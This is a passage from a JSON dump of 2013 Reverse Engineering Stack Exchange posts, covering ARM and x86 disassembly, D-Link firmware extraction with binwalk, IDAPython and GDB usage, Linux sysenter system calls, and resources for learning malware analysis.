        "Answer": "<p>In fact, there may be something like:</p>\n\n<pre><code>.text:00192CB6                 POP             {R4}\n.text:00192CB8                 B.W             sub_268508\n.text:00192CB8 ; End of function XXX::YYY::zZz(void)\n</code></pre>\n\n<p>IIRC I also have seen conditional branches leading outside of what I would expect to be function boundaries, but I cannot find any example now.</p>\n"
    },
    {
        "Id": "2828",
        "CreationDate": "2013-09-23T15:51:42.213",
        "Body": "<p>I have some ARMv7 instructions that I do not understand, despite reading the reference at: <a href=\"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0040d/Cihcaahe.html\" rel=\"noreferrer\">ARM Information Center</a></p>\n\n<p>In the context of:</p>\n\n<pre><code>  a7a4d8:   b530        push    {r4, r5, lr}\n  a7a4da:   466c        mov r4, sp\n  a7a4dc:   4605        mov r5, r0\n  a7a4de:   682a        ldr r2, [r5, #0]\n  a7a4e0:   ebad 0d02   sub.w   sp, sp, r2\n  a7a4e4:   f104 0014   add.w   r0, r4, #20 ; 0x14\n  a7a4e8:   4669        mov r1, sp\n  a7a4ea:   b082        sub sp, #8\n  a7a4ec:   466a        mov r2, sp\n  a7a4ee:   462b        mov r3, r5\n  a7a4f0:   f746 f1b8   bl  5c0864 &lt;RoutineName&gt;\n  a7a4f4:   9800        ldr r0, [sp, #0]\n  a7a4f6:   9901        ldr r1, [sp, #4]\n  a7a4f8:   46a5        mov sp, r4\n  a7a4fa:   bd30        pop {r4, r5, pc}\n</code></pre>\n\n<p>What does the following do? Can someone explain in terms of pseudo-code?</p>\n\n<pre><code>  a7a4de:   682a        ldr r2, [r5, #0]\n  a7a4e0:   ebad 0d02   sub.w   sp, sp, r2\n  a7a4e4:   f104 0014   add.w   r0, r4, #20 ; 0x14\n\n  a7a4f4:   9800        ldr r0, [sp, #0]\n  a7a4f6:   9901        ldr r1, [sp, #4]\n</code></pre>\n",
        "Title": "What do the following ARM instructions mean?",
        "Tags": "|disassembly|arm|",
        "Answer": "<p><code>ldr r2, [r5, #0]</code><br>\nmeans r2=*(r5+0)<br>\nwhich loads the value pointed to by r5 and places it in r2.<br><br></p>\n\n<p><code>sub.w   sp, sp, r2</code><br>\nmeans sp=sp-r2<br>\nwhich subtracts sp by the value in r2 (to allocate stack space).<br><br></p>\n\n<p><code>add.w   r0, r4, #20 ; 0x14</code><br>\nmeans r0=r4+20<br>\nwhich adds 20 (decimal) to r4 and places the result in r0.<br><br></p>\n\n<p><code>ldr r0, [sp, #0]</code><br>\nmeans r0=*(sp+0)<br>\nwhich loads the value pointed to by sp and places it in r0.<br><br></p>\n\n<p><code>ldr r1, [sp, #4]</code><br>\nmeans r1=*(sp+4)<br>\nwhich loads the value pointed to by (sp+4) and places it in r1.<br><br></p>\n\n<p>In C pseudo-code it looks something like this:</p>\n\n<pre><code>x_a7a4d8(dword *ptr_allocsize, void *arg1)\n{\n  alloca(*ptr_allocsize)\n  dword p2;\n  qword p1;\n  x_5c0864(&amp;arg1, &amp;p1, &amp;p2, ptr_allocsize)\n  return p1;\n}\n</code></pre>\n\n<p>so it allocates some space for the value returned by the 5c0864 routine (because it uses the stack to return the value), calls the 5c0864 routine, and returns the value returned by 5c0864.</p>\n"
    },
    {
        "Id": "2830",
        "CreationDate": "2013-09-24T08:58:16.033",
        "Body": "<p>I'm trying to extract this firmware but I'm running into some issues. The first lecture of the firmware with binwalk shows this:</p>\n\n<pre><code>DECIMAL     HEX         DESCRIPTION\n-------------------------------------------------------------------------------------------------------------------\n48          0x30        LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 992240 bytes\n275832      0x43578     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 65011 bytes\n312165      0x4C365     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 6425 bytes\n314338      0x4CBE2     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 6198 bytes\n316542      0x4D47E     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 11645 bytes\n319496      0x4E008     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 9923 bytes\n322366      0x4EB3E     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 3981 bytes\n323721      0x4F089     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 1269 bytes\n324228      0x4F284     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 9785 bytes\n327024      0x4FD70     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 9717 bytes\n329754      0x5081A     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 9957 bytes\n332630      0x51356     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4544 bytes\n334066      0x518F2     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 378 bytes\n334305      0x519E1     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 1019 bytes\n334787      0x51BC3     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 12756 bytes\n338395      0x529DB     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 16497 bytes\n343482      0x53DBA     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 11019 bytes\n347416      0x54D18     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 39577 bytes\n358366      0x577DE     JPEG image data, JFIF standard  1.02\n358907      0x579FB     JPEG image data, JFIF standard  1.02\n359442      0x57C12     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 1787 bytes\n361070      0x5826E     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 893 bytes\n361902      0x585AE     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 637 bytes\n362528      0x58820     JPEG image data, JFIF standard  1.02\n363522      0x58C02     JPEG image data, JFIF standard  1.02\n364963      0x591A3     JPEG image data, JFIF standard  1.01\n376049      0x5BCF1     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 683 bytes\n376714      0x5BF8A     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 761 bytes\n377462      0x5C276     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 225 bytes\n377638      0x5C326     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4146 bytes\n378953      0x5C849     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 1487 bytes\n379723      0x5CB4B     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 2240 bytes\n380729      0x5CF39     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 1527 bytes\n381510      0x5D246     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 8294 bytes\n384148      0x5DC94     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 10412 bytes\n385299      0x5E113     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 16812 bytes\n389806      0x5F2AE     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 9294 bytes\n391417      0x5F8F9     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 9108 bytes\n392764      0x5FE3C     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4796 bytes\n393633      0x601A1     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 3710 bytes\n394440      0x604C8     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 7870 bytes\n395948      0x60AAC     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 10764 bytes\n398896      0x61630     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 6804 bytes\n400960      0x61E40     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 2135 bytes\n401785      0x62179     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 2864 bytes\n402878      0x625BE     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 3747 bytes\n404192      0x62AE0     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 2776 bytes\n405196      0x62ECC     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 6761 bytes\n407148      0x6366C     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 1582 bytes\n407859      0x63933     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 6849 bytes\n409864      0x64108     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4678 bytes\n411440      0x64730     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 11297 bytes\n414011      0x6513B     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 3990 bytes\n415534      0x6572E     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 12540 bytes\n418894      0x6644E     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 3623 bytes\n420239      0x6698F     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 13366 bytes\n423782      0x67766     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 5498 bytes\n425717      0x67EF5     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 1524 bytes\n426450      0x681D2     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 28728 bytes\n434580      0x6A194     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 18125 bytes\n439538      0x6B4F2     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 36719 bytes\n445116      0x6CABC     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 1940 bytes\n</code></pre>\n\n<p>Checking the hexdump code I found that binwalk detects the lzma magic number '5d 00' but I think that this is inconsistent and a false positive:</p>\n\n<pre><code>root@kali:~/Desktop/Firmwares/DLink# cat hexdump.txt | grep '5d 00'\n00000030  5d 00 00 00 02 f0 23 0f  00 00 00 00 00 00 20 20  |].....#.......  |\n0000c7b0  f9 5d 00 0e e6 e7 55 ca  16 5f d1 c9 67 67 30 c7  |.]....U.._..gg0.|\n00049900  ac 00 5d 00 00 00 02 c9  1d 00 00 00 00 00 00 00  |..].............|\n0004a2c0  6e 93 3d d1 e8 e3 96 5a  f9 17 38 b1 28 5d 00 00  |n.=....Z..8.(]..|\n0004bb30  25 14 f9 96 26 85 58 20  18 07 b9 fa e3 5d 00 00  |%...&amp;.X .....]..|\n0004c360  9f f6 e9 d8 28 5d 00 00  00 02 19 19 00 00 00 00  |....(]..........|\n0004cbe0  f6 20 5d 00 00 00 02 36  18 00 00 00 00 00 00 00  |. ]....6........|\n0004d470  3f 38 df 6f 97 98 4b 41  0d 83 14 d8 4d 00 5d 00  |?8.o..KA....M.].|\n0004e000  78 c4 bc c4 11 98 56 00  5d 00 00 00 02 c3 26 00  |x.....V.].....&amp;.|\n0004eb30  e6 73 64 e2 bc fa 37 7a  11 0d 3c b1 d2 af 5d 00  |.sd...7z..&lt;...].|\n0004f080  57 ad 80 5f 20 ef 40 0e  7c 5d 00 00 00 02 f5 04  |W.._ .@.|]......|\n0004f280  1a 1c ab 00 5d 00 00 00  02 39 26 00 00 00 00 00  |....]....9&amp;.....|\n0004fd70  5d 00 00 00 02 f5 25 00  00 00 00 00 00 00 1e 12  |].....%.........|\n</code></pre>\n\n<p>After this I browsed the hexdump and found some strings in 00000000 and 00042fa0:</p>\n\n<pre><code>00000000  41 49 48 30 4c 0f c1 fb  80 00 01 00 00 04 2f 74  |AIH0L........./t|\n00042fa0  6e 23 00 00 41 49 48 30  4c 0f c1 fb 00 00 00 00  |n#..AIH0L.......|\n</code></pre>\n\n<p>Googling for AIH0L I did not find anything useful and now I'm stuck.</p>\n\n<p>Other things I tried was to search bin img sqsh sq sh and other strings in the hexdump without result.</p>\n\n<p>Also the entropy analysis seems weird for me. \n<img src=\"https://i.stack.imgur.com/rSKlo.png\" alt=\"Entropy output binwalk\"></p>\n\n<p>Did anyone faced this issues or can figure out how to extract this?\nRegards.</p>\n\n<p><strong>EDIT:</strong>\nSearching for filesystems 'fs' in the hexdump file I found a zfs header:</p>\n\n<p>t@kali:~/Desktop/Firmwares/DLink# cat hexdump.txt | grep zfs</p>\n\n<pre><code>0000b990  65 a7 0c aa 7a 66 73 24  1e bc b6 e8 d7 c4 29 1a  |e...zfs$......).|\n</code></pre>\n\n<p>I'm not sure wether this points to a real zfs or it's just a coincidence. I copied the firmware from that position to the end but the new file is not recognized and the binwalk lecture is the same as above.</p>\n",
        "Title": "Reversing DLink DIR100 firmware",
        "Tags": "|firmware|",
        "Answer": "<p>The LZMA compression identified by binwalk is correct (or at least most of them are - I didn't check them all). If you actually extract and decompress the LZMA files, you'll find that the first one (at offset 0x30) contains the device's code (a MIPS RTOS of some sort) and the rest appear to be the HTML files for the web interface.</p>\n"
    },
    {
        "Id": "2832",
        "CreationDate": "2013-09-24T21:19:16.853",
        "Body": "<p>Currently I have a binary that I am investigating.  The application is GUI / event driven, so that makes it difficult to set a break point.  I would like to set a break point on a certain button click, so I thought I would click the button, and then run a <code>backtrace</code> in GDB to see what functions were called when I clicked the button, but the output of the <code>bt</code> is just showing <code>mach_msg_trap()</code>, and a few other \"functions\" I suppose.  Does anyone know why I'm in the <code>mach_msg_trap()</code>  I am assuming it's some security feature implemented by Apple to prevent people from reversing their software, I just thought I would ask, as my googlefu didn't really return any tangible results.</p>\n\n<p><img src=\"https://i.stack.imgur.com/ZpuXV.png\" alt=\"Screenshot of the GDB output\"></p>\n",
        "Title": "Reversing a Mac OS X binary that appears to be non encrypted, backtrace just shows mach_msg_trap ()",
        "Tags": "|gdb|osx|mach-o|",
        "Answer": "<p>Do you have md5 for the application?</p>\n\n<p>It seems like a GUI/Cocoa application. The code seems to be stuck in <code>msgloop</code>.\nThis loop generally occurs in applications, which require user interaction or when application is interacting with messages.</p>\n\n<p>The image shows the breakpoint has been hit inside <code>__CFRunLoopRun</code>. It means app was running and processing system messages until it met a breakpoint (which is <kbd>Command</kbd>+<kbd>C</kbd>, in this case) it need some kind of user interaction or is waiting for some message, may be a click or key press or message from some system process.</p>\n\n<p>If you have the sample md5 or SHA, I can have a look at it</p>\n"
    },
    {
        "Id": "2835",
        "CreationDate": "2013-09-25T13:35:02.847",
        "Body": "<p>For every selected byte Ida Pro displays the <em>offset in the input file</em> where the byte can be found (displayed in the buttom bar of the Ida-View and the Hex-View). How can I retrieve this information when using the idapython API?</p>\n",
        "Title": "How to extract the input file offset of a byte in idapython?",
        "Tags": "|ida|idapython|",
        "Answer": "<p>When looking for functions, you should always check the SDK headers. These two are listed in <code>loader.hpp</code>:</p>\n\n<pre><code>// Get offset in the input file which corresponds to the given ea\n// If the specified ea can't be mapped into the input file offset,\n// return -1.    \nidaman int32 ida_export get_fileregion_offset(ea_t ea);    \n\n// Get linear address which corresponds to the specified input file offset.\n// If can't be found, then return BADADDR    \nidaman ea_t ida_export get_fileregion_ea(int32 offset);\n</code></pre>\n\n<p>So you can use them from IDAPython like this:</p>\n\n<pre><code>offset = idaapi.get_fileregion_offset(ea)\nea = idaapi.get_fileregion_ea(offset)\n</code></pre>\n\n<p>NB: not all SDK functions are exposed in Python. If you absolutely need something which is only available in C API, you can <a href=\"http://www.hexblog.com/?p=695\">use <code>ctypes</code> to call it</a>.</p>\n"
    },
    {
        "Id": "2857",
        "CreationDate": "2013-09-29T15:53:39.220",
        "Body": "<p>I am trying to analyze an old malware sample in OllyDbg. It has instruction of the format <code>CALL &lt;JMP.&amp;KERNEL32.SetUnhandledExceptionFilter&gt;</code></p>\n\n<p>I am not an expert in Assembly. I know that CALL is used to call a sub-routine and JMP is used to jump to a particular address in the memory but what is the result of using CALL with JMP? Could anyone clarify on it? Even pointers to where I could find answers would be very helpful. Thanks.</p>\n",
        "Title": "Why is JMP used with CALL?",
        "Tags": "|disassembly|malware|assembly|",
        "Answer": "<p>The reason is for loading performance - the jumps are gathered into a single region that is made temporarily writable for the purpose of placing the API addresses, and is usually only a single page in size.  This avoids multiple calls to VirtualProtect() by the loader, in order to write all over the code space to every reference to any given API.</p>\n"
    },
    {
        "Id": "2862",
        "CreationDate": "2013-09-30T14:15:16.893",
        "Body": "<p>Where can I find some resources to start learning about vivisect? \nBlog posts, presentations, PDFs, code examples, anything would be appreciated.</p>\n\n<p>I am aware I can read the code but before doing that I would like to have something to get me started.</p>\n",
        "Title": "vtrace / vivisect resources",
        "Tags": "|python|dynamic-analysis|static-analysis|",
        "Answer": "<p>There's a nice blog entry on it here: <a href=\"http://www.singlehop.com/blog/binary-vivisection-part-1/\" rel=\"nofollow\">http://www.singlehop.com/blog/binary-vivisection-part-1/</a></p>\n\n<blockquote>\n  <p>...</p>\n  \n  <p>While looking over the changelog and documentation, I realized that\n  there doesn\u2019t really seem to be a good tutorial or primer for getting\n  familiar with the <strong>Vivisect</strong> framework so hopefully we can remediate\n  that today.  In this series, we\u2019ll be covering the usage of VDB\n  (dynamic debugging component) and <strong>vivisect</strong> (static analysis tool).</p>\n  \n  <p>...</p>\n</blockquote>\n\n<p>You can also see the <code>README</code> file <a href=\"https://code.google.com/p/vtrace-mirror/source/browse/trunk/README-vivisect\" rel=\"nofollow\">here</a>, and some related scripts <a href=\"https://github.com/pdasilva/vtrace_scripts\" rel=\"nofollow\">here</a>.</p>\n"
    },
    {
        "Id": "2869",
        "CreationDate": "2013-10-02T18:33:00.043",
        "Body": "<p>I would like to know what are the different ways to perform a system\ncall in x86 assembler under Linux. But, with no cheating, only\nassembler must be used (i.e. compilation with <code>gcc</code> must be done with\n<code>-nostdlib</code>).</p>\n\n<p>I know four ways to perform a system calls, namely:</p>\n\n<ul>\n<li><code>int $0x80</code></li>\n<li><code>sysenter</code> (i586)</li>\n<li><code>call *%gs:0x10</code> (vdso trampoline)</li>\n<li><code>syscall</code> (amd64)</li>\n</ul>\n\n<p>I am pretty good at using <code>int $0x80</code>, for example, here is a sample\ncode of a classic 'Hello World!' in assembler using <code>int $0x80</code> (compile it with <code>gcc -nostdlib -o hello-int80 hello-int80.s</code>):</p>\n\n<pre><code>.data\nmsg:\n  .ascii \"Hello World!\\n\"\n  len = . - msg\n\n.text\n.globl _start\n\n_start:\n# Write the string to stdout\n  movl  $len, %edx\n  movl  $msg, %ecx\n  movl  $1, %ebx\n  movl  $4, %eax\n  int   $0x80\n\n# and exit\n  movl  $0, %ebx\n  movl  $1, %eax\n  int   $0x80\n</code></pre>\n\n<p>But the <code>sysenter</code> is often ending with a segmentation fault error. Why ? And, how to use it right ?</p>\n\n<p>Here is an example with <code>call *%gs:0x10</code> (compiled with <code>gcc -o hello-gs10 hello-gs10.s</code>). Note that I need to go through the <code>libc</code> initialization before calling it properly (that is why I am using <code>main</code> and not anymore <code>_start</code> and, that is also why I removed the option <code>-nostdlib</code> from the compile line):</p>\n\n<pre><code>.data\nmsg:\n  .ascii \"Hello World!\\n\"\n  len = . - msg\n\n.text\n.globl main\n\nmain:\n# Write the string to stdout\n  movl  $len, %edx\n  movl  $msg, %ecx\n  movl  $1, %ebx\n  movl  $4, %eax\n  call  *%gs:0x10\n\n# and exit\n  movl  $0, %ebx\n  movl  $1, %eax\n  call  *%gs:0x10\n</code></pre>\n\n<p>Also, the <code>syscall</code> is working pretty well also if you know the <a href=\"http://lxr.linux.no/#linux+v2.6.32/arch/x86/include/asm/unistd_64.h\">syscall codes for this architecture</a> (thanks to lfxgroove) (compiled with: <code>gcc -m64 -nostdlib -o hello-syscall hello-syscall.s</code>):</p>\n\n<pre><code>.data\nmsg:\n  .ascii \"Hello World!\\n\"\n  len = . - msg\n\n.text\n.globl _start\n\n_start:\n# Write the string to stdout\n  movq  $len, %rdx\n  movq  $msg, %rsi\n  movq  $1, %rdi\n  movq  $1, %rax\n  syscall\n# and exit\n  movq  $0, %rdi\n  movq  $60, %rax\n  syscall\n</code></pre>\n\n<p>So, the only problem I have to trigger a system call is this <code>sysenter</code> way. Here is an example with <code>sysenter</code> ending with a segmentation fault (compiled with <code>gcc -m32 -nostdlib -o hello-sysenter hello-sysenter.s</code>):</p>\n\n<pre><code>.data\nmsg:\n  .ascii \"Hello World!\\n\"\n  len = . - msg\n\n.text\n.globl _start\n\n_start:\n# Write the string to stdout\n  movl  $len, %edx\n  movl  $msg, %ecx\n  movl  $1, %ebx\n  movl  $4, %eax\n\n  push    final\n  sub $12, %esp\n  mov %esp, %ebp\n\n  sysenter\n# and exit\nfinal:  \n  movl  $0, %ebx\n  movl  $1, %eax\n\n  sub $12, %esp\n  mov %esp, %ebp\n\n  sysenter\n</code></pre>\n",
        "Title": "How to use sysenter under Linux?",
        "Tags": "|assembly|x86|",
        "Answer": "<h2>System calls through <code>sysenter</code></h2>\n\n<p><code>sysenter</code> is a i586 instruction, specifically tight to 32-bits\napplications. It has been subsumed by <code>syscall</code> on 64-bits plateforms.</p>\n\n<p>One particularity of <code>sysenter</code> is that it does require, in addition\nto the usual register setting, a few manipulations on the stack before\ncalling it. This is because before leaving <code>sysenter</code>, the process\nwill go through the last part of the <code>__kernel_vsyscall</code> assembler\nsnippet (starting from <code>0xf7ffd430</code>):</p>\n\n<pre><code>Dump of assembler code for function __kernel_vsyscall:\n   0xf7ffd420 &lt;+0&gt;:        push   %ecx\n   0xf7ffd421 &lt;+1&gt;:        push   %edx\n   0xf7ffd422 &lt;+2&gt;:        push   %ebp\n   0xf7ffd423 &lt;+3&gt;:        mov    %esp,%ebp\n   0xf7ffd425 &lt;+5&gt;:        sysenter \n   0xf7ffd427 &lt;+7&gt;:        nop\n   0xf7ffd428 &lt;+8&gt;:        nop\n   0xf7ffd429 &lt;+9&gt;:        nop\n   0xf7ffd42a &lt;+10&gt;:       nop\n   0xf7ffd42b &lt;+11&gt;:       nop\n   0xf7ffd42c &lt;+12&gt;:       nop\n   0xf7ffd42d &lt;+13&gt;:       nop\n   0xf7ffd42e &lt;+14&gt;:       int    $0x80\n=&gt; 0xf7ffd430 &lt;+16&gt;:       pop    %ebp\n   0xf7ffd431 &lt;+17&gt;:       pop    %edx\n   0xf7ffd432 &lt;+18&gt;:       pop    %ecx\n   0xf7ffd433 &lt;+19&gt;:       ret    \nEnd of assembler dump.\n</code></pre>\n\n<p>So, the <code>sysenter</code> instruction expect to have the stack forged in that\nway:</p>\n\n<pre><code>0x______0c  saved_eip   (ret)\n0x______08  saved_%ecx  (pop %ecx)\n0x______04  saved_%edx  (pop %edx)\n0x______00  saved_%ebp  (pop %ebp)\n</code></pre>\n\n<p>That's why, each time we need to call <code>sysenter</code>, we first have to\npush the values of the saved <code>%eip</code>, and the same with<code>%ecx</code>, <code>%edx</code>\nand <code>%ebp</code>. Which leads to:</p>\n\n<pre><code>.data\nmsg:\n    .ascii \"Hello World!\\n\"\n    len = . - msg\n\n.text\n.globl _start\n_start:\n    pushl  %ebp\n    movl   %esp, %ebp\n# Write the string to stdout\n    movl   $len, %edx\n    movl   $msg, %ecx\n    movl   $1, %ebx\n    movl   $4, %eax\n# Setting the stack for the systenter\n    pushl  $sysenter_ret\n    pushl  %ecx\n    pushl  %edx\n    pushl  %ebp\n    movl   %esp,%ebp\n    sysenter\n# and exit\nsysenter_ret:    \n    movl   $0, %ebx\n    movl   $1, %eax\n# Setting the stack for the systenter\n    pushl  $sysenter_ret # Who cares, this is an exit !\n    pushl  %ecx\n    pushl  %edx\n    pushl  %ebp\n    movl   %esp,%ebp\n    sysenter\n</code></pre>\n"
    },
    {
        "Id": "2876",
        "CreationDate": "2013-10-03T21:28:22.077",
        "Body": "<p>So I have the following C code I wrote:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\n\nint main() {\n    int i = 1;\n\n    while(i) {\n        printf(\"in loop\\n\");\n        i++;\n\n        if(i == 10) {\n            break;\n        }\n    }\n\n    return 0;\n}\n</code></pre>\n\n<p>Compiled with gcc (Ubuntu/Linaro 4.7.2-2ubuntu1) 4.7.2 it disassembles to this:</p>\n\n<pre><code>   0x000000000040051c &lt;+0&gt;: push   %rbp\n   0x000000000040051d &lt;+1&gt;: mov    %rsp,%rbp\n   0x0000000000400520 &lt;+4&gt;: sub    $0x10,%rsp\n   0x0000000000400524 &lt;+8&gt;: movl   $0x1,-0x4(%rbp)\n   0x000000000040052b &lt;+15&gt;:    jmp    0x400541 &lt;main+37&gt;\n   0x000000000040052d &lt;+17&gt;:    mov    $0x400604,%edi\n   0x0000000000400532 &lt;+22&gt;:    callq  0x4003f0 &lt;puts@plt&gt;\n   0x0000000000400537 &lt;+27&gt;:    addl   $0x1,-0x4(%rbp)\n   0x000000000040053b &lt;+31&gt;:    cmpl   $0xa,-0x4(%rbp)\n   0x000000000040053f &lt;+35&gt;:    je     0x400549 &lt;main+45&gt;\n   0x0000000000400541 &lt;+37&gt;:    cmpl   $0x0,-0x4(%rbp)\n   0x0000000000400545 &lt;+41&gt;:    jne    0x40052d &lt;main+17&gt;\n   0x0000000000400547 &lt;+43&gt;:    jmp    0x40054a &lt;main+46&gt;\n   0x0000000000400549 &lt;+45&gt;:    nop\n   0x000000000040054a &lt;+46&gt;:    mov    $0x0,%eax\n   0x000000000040054f &lt;+51&gt;:    leaveq \n   0x0000000000400550 &lt;+52&gt;:    retq  \n</code></pre>\n\n<p>Why is there a <code>nop</code> on +45? And why does not <code>je</code> on +35 just jump right to +46?</p>\n",
        "Title": "Why is there in a nop in the while loop",
        "Tags": "|disassembly|",
        "Answer": "<p>Another reason for NOP insertion is due to pipeline scheduling. If it takes a cycle for branch prediction to determine whether it was correct or not (and if not to flush the pipe), then you'd need a cycle delay before results are committed to registers.</p>\n\n<p>Regarding the specific example where the jump equal goes to a NOP, it appears to me that the processor needs a cycle to determine whether it got the right answer or not and adjust the pipe as necessary. </p>\n\n<p>Great job digging in to the code and understanding what is going on. :)</p>\n"
    },
    {
        "Id": "2881",
        "CreationDate": "2013-10-04T03:14:39.533",
        "Body": "<p>I would like learn how to reverse engineer malwares. I have a very small experience reverse engineering windows applications. I would like to know if there are good resources that is helpful in learning this.  </p>\n",
        "Title": "Intro to reverse engineering",
        "Tags": "|malware|",
        "Answer": "<p>Have a look at <a href=\"https://reverseengineering.stackexchange.com/a/267/225\">this answer</a>. It includes beginner malware training videos.</p>\n\n<p>Not familiar with malware myself, I do often see the following books recommended in answers:</p>\n\n<ul>\n<li><p><a href=\"http://rads.stackoverflow.com/amzn/click/0470613033\" rel=\"nofollow noreferrer\">Malware Analyst's Cookbook</a></p>\n\n<blockquote>\n  <p>Security professionals will find plenty of solutions in this book to the problems posed by viruses, Trojan horses, worms, spyware, rootkits, adware, and other invasive software. Written by well-known malware experts, this guide reveals solutions to numerous problems and includes a DVD of custom programs and tools that illustrate the concepts, enhancing your skills.</p>\n</blockquote></li>\n<li><p><a href=\"http://rads.stackoverflow.com/amzn/click/1593272901\" rel=\"nofollow noreferrer\">Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software</a></p>\n\n<blockquote>\n  <p>For those who want to stay ahead of the latest malware, Practical Malware Analysis will teach you the tools and techniques used by professional analysts. With this book as your guide, you'll be able to safely analyze, debug, and disassemble any malicious software that comes your way.</p>\n</blockquote></li>\n</ul>\n\n<p>Keeping an eye on <a href=\"http://www.reddit.com/r/malware\" rel=\"nofollow noreferrer\">/r/Malware</a> over at Reddit can also be a good idea. It's a place where allot of analysis reports are posted. Which you can look at as small tutorials.</p>\n\n<p>-edit-</p>\n\n<p>Another source I remembered is: <a href=\"http://fumalwareanalysis.blogspot.nl/p/malware-analysis-tutorials-reverse.html\" rel=\"nofollow noreferrer\">Dr. Fu's Malware analysis tutorials</a></p>\n\n<blockquote>\n  <p>It describes building and configuring a malware lab using virtual machines and then continues analyzing a real piece of malware.</p>\n</blockquote>\n"
    },
    {
        "Id": "2887",
        "CreationDate": "2013-10-05T19:36:21.723",
        "Body": "<p>I have just started my journey into the vast and intersting field of malware analysis. I would like to know if there is any website/book or another resource that explains what a particular block of assembly code does. A detailed description of the code would be well appreciated. I know assembly language to some extent and is familiar with all the concepts,function call procedure etc. But i have very little knowledge on how all these applies when it come to windows. like what happens when a dll is used,etc... I would be very glad if someone could tell me where to find a resource that provides a step by step detailed analysis of any malware or any program for that matter.</p>\n\n<p>I have already a considerable experience in reverse engineering windows applications, most of the knowledge been taken from the 'legend of r4ndom' and woodman websites. I need something that clearly explains how a particular assembly code interacts with windows dlls, resources like menu bars text boxes, etc..</p>\n",
        "Title": "Detailed description of malware content",
        "Tags": "|malware|",
        "Answer": "<p>I recommend You to start from basics, so:</p>\n\n<ol>\n<li><p><a href=\"http://technet.microsoft.com/en-us/sysinternals/bb963901%28v=msdn.10%29.aspx\" rel=\"nofollow\">\"Windows Internals\"</a> by Mark Russinovich and David Solomon is a good start for hard copy book.</p></li>\n<li><p><a href=\"http://opensecuritytraining.info/Training.html\" rel=\"nofollow\">OpenSecurityTraining</a> - start from Beginner's courses by interest</p></li>\n</ol>\n\n<p>When You done with those - I am sure You'll be able to ask more specific questions and get more detailed and sophisticated answers.\nGood luck!</p>\n"
    },
    {
        "Id": "2895",
